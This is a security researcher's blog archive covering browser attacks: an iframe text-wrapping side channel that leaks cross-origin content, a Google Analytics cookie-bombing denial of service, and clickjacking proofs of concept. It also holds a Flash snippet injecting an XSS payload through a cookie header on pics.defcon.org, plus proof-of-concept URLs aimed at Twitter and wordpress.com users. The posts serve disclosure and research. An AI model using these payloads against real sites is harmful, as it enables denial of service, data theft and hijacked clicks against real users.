Showing posts with label opera. Show all posts
Showing posts with label opera. Show all posts

Sunday, September 22, 2013

[Matryoshka] - Wrapping Overflow Leak on Frames

(Update Feb 25, 2018: Google Drive deprecated web hosting, so the PoCs below don't currently work. I'll fix them soon, in the meantime you can see the source code here)

I just came back from a very fun trip around Europe. Among other places, I visited Hamburg, to attend HackPra 2013, which was hosted in AppSec Europe. In there I gave the presentation Matryoshka - titled after the famous Russian dolls.

Today I'm blogging about one of the subjects of that presentation, an information leak introduced by a "side channel" present in iframes. I didn't give much detail in the presentation since I was afraid I was gonna run out of time (this was just one part of the presentation). This blogpost is meant to add more detail, as well as give a couple more details I wasn't sure worked at the time of the presentation.

A quick summary of the problem is that, under certain circumstances, it is possible to know when text inside an iframe wraps to the next line. Text wrapping is when a line is longer than the width of the area it can be displayed into, so it needs to wrap to a second line.

Being able to detect text wrapping is an interesting problem, as it allows us to learn some information about the framed website, which might be particularly dangerous under some circumstances.

To show a small example, the following iframe is hosted in a different domain than this blog post:


We are disallowed to know what the contents are because of the Same Origin Policy. It's important to understand this, we can iframe anything, including third party sites to which you are authenticated to. This might include sites that contain secret information, like your email inbox, or your bank statements.

Now, let's see what we can do:

  • We can, change the width and height of this iframe at our will.
  • We can navigate the inner iframes from that page.
  • We can change the style of your scrollbars or detect their presence.
To clarify, changing the width and height of the iframe will allow us to force some content to wrap on to the next line. To exploit this we need to know whether the content wrapped or not.

Navigating Child Iframes

By navigating child iframes, we can change an otherwise innocuous iframe (such as a Facebook like button), to a domain we control. We can do this by design, even on cross-domain iframes, look:




The reason for this is because the window.frames[] property is exposed cross-origin, and it's allowed by the Same Origin Policy to navigate child frames, even those that are cross domain.

The reason this matters, is because once we control a child iframe in our target page, we can know the position of the iframe relative to the browser/screen. This will let us know if the content of the page wrapped, as we'll discuss later on.

Detecting when the text wraps to the next line is the corner stone of this attack.

Detecting Iframe Screen Coordinates

In Trident and Gecko based browsers, it is possible to detect the position of an iframe relative to the screen. This is interesting, as it allows us to know exactly when an iframe moves down because of text wrapping.

We detect this with one of two properties, either window.screenTop for Trident based browsers, or window.mozInnerScreenY for Gecko based browsers (and mouse events in general). These properties are only readable from within the target iframe, but as we explained before, it is perfectly possible to navigate our target site child iframes, and once we do that, we can reduce the width of our iframe until text doesn't fit in the line anymore, and moves the rest of the line to the next line, displacing our iframe.

Please note this proof of concept doesn't work in all browsers (notably, it only works in firefox/ie), so it might not work for you, but feel free to give it a try.

Detecting Scrollbars Presence

This is interesting, in some browsers, it is possible to apply CSS to the scrollbars of the iframe. This is important because this would leak whether the text wrapped contains a background-image, which would be requested when the scrollbar is shown. In some browsers you need to change the backgroundImage after the creation of the iframe for the image to be requested.

Please note this proof of concept doesn't work in all browsers (notably, this only only works webkit-based browsers), so it might not work for you, but feel free to give it a try.



What will happen when you click that button is:
  • The width of the iframe will be slowly reduced pixel by pixel.
  • When the word "dusk" wraps to the next line, it will display the vertical scrollbar.
  • When the vertical scrollbar is shown, the background image will be requested.
  • We detect when such requests happen by checking document.cookie.

Measuring Word Width

So far we found out a way to find when text wraps to the next line, either by detecting the presence of a scrollbar, or navigating a child iframe and detecting it's position relative to the screen monitor.

To measure a specific word width, we will follow the following steps:
  1. Resize the target iframe to:
    • width: 9999999px
    • height: smallest-without-scrollbar;
  2. Slowly reduce the width until the text wraps. (You can reduce in fraction of pixels).
    • If you are detecting a scrollbar, ensure to increase the height to make the scrollbar disappear.
    • If you are detecting text wrapped from a child iframe, detect changes from the new current position.
  3. Repeat
    • Record the exact width at which text wrapping happened.
We will actually learn things in a bit of an odd order. For this particular example, we will get the length of the following:
  • First wrapping:       hello, my name is bond, james bond.
  • Second wrapping:   the secret is on the island!
  • Third wrapping:      bond, james bond.
  • Fourth wrapping:    name is bond,
  • Fifth wrapping:       bond, james
  • Sixth wrapping:      the secret
  • Seventh wrapping:  my name
  • Eighth wrapping:    secret is
  • Ninth wrapping:      name is
  • Tenth wrapping:      is on
The exact fraction of pixel in which the line wraps (which by practice I've seen some times needs to be as accurate as 1E-10 pixels), tells us the length of the line.

By calculating the difference between different lines, we can also get the length of other sequence of words:
  1. hello, my name is
  2. hello, my james bond.
  3. hello, my name is bond.
  4. hello, is bond, james bond.
  5. hello, my bond, james bond.
  6. ...
And we can also get "bond" by subtracting (1) to (3). We can also get "james" by subtracting (3) to the first wrapping, etc..  We might not always get specific word length, and rather groups of two words, but the attack works to both cases.

The question now is.. how hard is it to go from the width of the word (or sequence of words) to the actual contents of them?

Turns out that usually, all letters have a different width, and as long as such width is unique, it's almost trivial to calculate which letters are in each wrapping (although we don't get the order of such letters).

The solution to this problem is the classic knapsack problem which I won't go into details of. While we won't be able to get the order of the letters, we can get which letters to a reasonable degree of accuracy, which should be sufficient to have a very good guess of the value.

It's unclear what's the best solution to this problem. This information leak isn't a vulnerability per-se in browsers, but rather a well known and understood feature. This blog post will hopefully trigger some discussion around this subject and we can come up with solutions.

One challenge is that if we stopped providing mozInnerScreenY / screenTop, then it would be significantly harder to detect and protect against clickjacking. So whichever solution we come up with needs to take that into consideration.

It's also worth mentioning what happens when our iframe is so small that a word doesn't even fit. Well, the answer is that individual characters wrap to the next line, and we can then extract the width of each individual character (rather than each word). This, unfortunately, doesn't work that well in normal websites, as by default they don't break words (unless overridden by CSS's break-word). If we are able to get this, however, it would be possible for us to obtain the order of the characters in each word (and completely read the contents of the iframe without having to guess).

And that was it! This attack allows you to steal contents from websites that don't use X-Frame-Options (or have a fixed CSS width) in all major browsers with browser standard functionality (no vuln up my sleeve!). I felt inclined to use an acronym for this attack (WOLF) since Thai Duong/Juliano Rizzo's attacks (POET, BEAST, CRIME) sound better than "cross-BLAH-jacking", and I like wolves (although, not as much as cats), specially since it kind of feels like insanity wolf to me.

Saturday, April 18, 2009

How to use Google Analytics to DoS a client from some website.

So, right.. I was trying to read some stuff about problems sharing my wired connection of my linux laptop to another windows laptop via wireless, but one of the links was on mail-archive.com, and for some reason it's blocked on China (yeah, I'm living on China now =D). So, I decided to go to a friend's website to read the webpage, but... suddenly, there was an error..


Bad Request
Your browser sent a request that this server could not understand.

Size of a request header field exceeds server limit.

Cookie:


The reason of the error is unknown, but that's not important, what is important is that I realized that with a big enough cookie (8190 bytes aprox) we can DoS someone from entering a webpage. (With a 400 HTTP Response status code on Apache, a 413 on some google services, and on some websites an infinite loop because the big cookies delete session cookies).

The reason we would like to block from accessing a server is not really important, what is important is that being able to block them out is dangerous.

Anyway.. we need to set cookies, and this is good enough for a lot of attacks (like no-ip domains, shared subdomains like blogspot , browsers that allow top level domain cookies, second level domains like .co.uk , etc..), but I really wanted to do something more cool.. so I started thinking, how to set cookies on clients.

And the "how", as the reader may deduce from the title of this blogspot is using Google Analytics. I've been researching Google Analytics cookies for some time now, so I sort-of know how they work. And I know pretty good that the google's implementation allows an attacker to add anything in some cookies.

So well, one of those cookies is the referer. This is true for "search result - organic referers", like for example, a Google search. The catch is that the detection on google's service is very bad, and we can fool it to think we are a google search result by doing:

http://google.yourfavoritedomain.com/search?q=search-term

So, you can guess.. if search-term is big enough we can hack the world.

Anyway, there's a catch. You can't set such a big cookie. The limit aparently is 4192 bytes. So.. what you have to do is control 2 cookies.

The other cookie we are going to be using is GASO (Google Analytics Site Overlay), its trigered by the content on
http://yourwebsite.com/page.html#gaso=somevalue

And well, the google analytics code will set a cookie called GASO to somevalue

With both vectors we can now set very big cookies! and with those cookies we can disable access to lot of websites to anyone with just a link (or an iframe if you want to improve the stealthness of the attack).

Twitter PoC:
http://google.sirdarckcat.net/?v=http://twitter.com/

If you use twitter over SSL...
http://google.sirdarckcat.net/?v=https://twitter.com/

To lock you out of all wordpress.com blogs:
http://google.sirdarckcat.net/?v=http://rofl.wordpress.com/
Try your favorite Google Analytics powered websites :D

References:
http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestfieldsize
http://httpd.apache.org/docs/1.3/mod/core.html#limitrequestfieldsize
http://royal.pingdom.com/2008/05/28/google-analytics-dominate-the-top-500-websites/

Examples:
GASO limit
#gaso=dagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondago

SEARCH referer limit
http://google.com/search?q=dagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogl

Tuesday, October 21, 2008

About CSS Attacks

Gareth, David and I went to Microsoft Bluehat v8, it was pretty fun meeting everyone.

Gareth described the talk pretty well in here: http://www.thespanner.co.uk/2008/10/20/bluehat/, (slides) anyway I want to show the stuff we didn't showed at Bluehat because of their no-zeroday policy (even if the vendor wasn't willing to patch).

So well we have the following clickjacking PoCs, that show different attack techniques.

Ghost Mirror - GMail PoC

http://www.sirdarckcat.net/gmailclickjacking.html

Sends an email when you click [Send] (check your sent mails folder).

This technique works like this:

You get a copy of the generated HTML code of the target webpage, then you simply hide everything, except for the button you want to overlay.. you could draw other things using absolute positioning, but this is enough for most scenarios.

You can checkout the "ghost page" here: http://www.sirdarckcat.net/dad.html

This attack has it's pros and it's cons.. the most important pro is that it's the best way of doing cross-browser exploits.. since you don't depend on the sizes, margins, overflow rules etc.. that different browsers use.

This attack (and PoC) was reported to Google Security Team on Sat, Sep 27, 2008 at 11:37 PM, the response was that it won't be fixed (I'm sure they have more serious issues to take care about).

Frame Cropping - Twitter PoC

http://www.sirdarckcat.net/coconuterror.html

This one uses another technique, that is usefull for selecting a specific section of a webpage, this specific PoC is Firefox only, not because the technique is not posible on other browsers, but because you have to make a different exploit for each different browser.

The way it works is using 2 iframes with a fixed height/width and possition, you only have to positionate the iframe using negative left/top coordinates, once you have that, you crop to the height and width of the button.


If that's not possible due to styling specific issues, then you have to use a second iframe that will have a height/width of the size of the button to be overlayed.

Both iframes must have the CSS properties overflow:hidden; and border: 0 (or their HTML attribute equivalent {like frameborder instead of border}).

This one is sexy :)

We also have the.. javascript ones.

Pixel Window - Adobe Flash Webcam PoC

http://ha.ckers.org/weird/cjdivtest.html



This one overlays 4 divs leaving a window where the mouse will be clicked.


Update to the latest Adobe Flash Player to be protected against this vulnerability.
http://get.adobe.com/flash/


Mouse Chase - Adobe Flash Webcam PoC

http://grack.com/record/


The same principle of Pixel Window..but now with the overlay chasing the mouse position.


CSS Attribute Reader Source Code


http://eaea.sirdarckcat.net/cssar/v2/?source

The first version of the reader wont be released yet, maybe later.. sorry.

This type of attack is relevant, because this could start a new type of attack based on XSS, that could be called Cross Site Styling (since we are not really using a scripting language).

There's another version, made by Wisec that is also pretty cool, based on meta refreshes, it calculates 1 char per second, he'll be presenting it soon at ruxcon.

By the way, I also want to say thanks to the guys that attended bunkent0r for their feedback on the presentation.

Greetz!!

Thursday, January 03, 2008

Exploiting XSS vulnerabilities on cookies

Well, after talking with David Ross about the last post (bypassing content-disposition), I found out that it's exploitation wasn't as easy as it appears since IE has done some updates on the last couple of months.. so well.. sorry about that.

Anyway, I guess it's time to say the world a little way of exploiting XSS vulnerabilities that echoes the value of a cookie.

This is based on majohn trick (setting headers via flash post), and well, I remembered about that when I saw kuza's talk.

This is done via flash:


class defconxss {
static function main(mc) {
var req = new LoadVars();
req.addRequestHeader("Cookie:bblastactivity=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E", " ");
req["1"]="1";
req.send("https://pics.defcon.org/misc.php?action=cookies", "_self", "POST");
}
}

This is a PoC for a XSS at pics.defcon.org you can read more about it here: http://whk.h4ck1ng.net/2007-12.22/xss-en-defconorg/ but it's on spanish.

An important thing to say is that the cookies sent this way are not persistent by default, anyway, some codes make force them to be persistent.

So this works for me with the latest player: http://www.adobe.com/shockwave/download/

Anyway, internet explorer is not vulnerable.. damn..

You can download kuza's talk here: http://outpost.h3q.com/fnord/24c3-torrents/24c3-2212-en-unusual_web_bugs.mp4.torrent

Greetz!!

Wednesday, November 21, 2007

CSK2 and CSS Applications

This week, I've sort of improoved the CSK of Gareth Heyes, with a few more event handlers, and interoperability with Opera (and menus!!).

This new version is over here:
http://www.sirdarckcat.net/csk2.html

Anyway, with the research I did, I also found the bast world of possibilities implied on CSS.

Starting from the CSK2, I've developed a game made in CSS with no javascript (anyway, you can only play once).. which currently works on all browsers, except from IExplorer.

I also used this knowledge gathered, to make my final project on the university (it was just making a website.. haha): http://da-vinci.awardspace.com/ this works just on firefox (don't tell my teacher, :P)

On some other news, thornmaker and I, where trying to proof that CSS + HTML is Turing Complete, anyway, since we dont have a way to make real loops (evendo we had some ideas about including bindings that include themselves until a condition is made, that could work as recurtion), it "appears" that CSS+HTML is NOT Turing Complete.. anyway, I'll continue investigating to be sure.

Greetz!!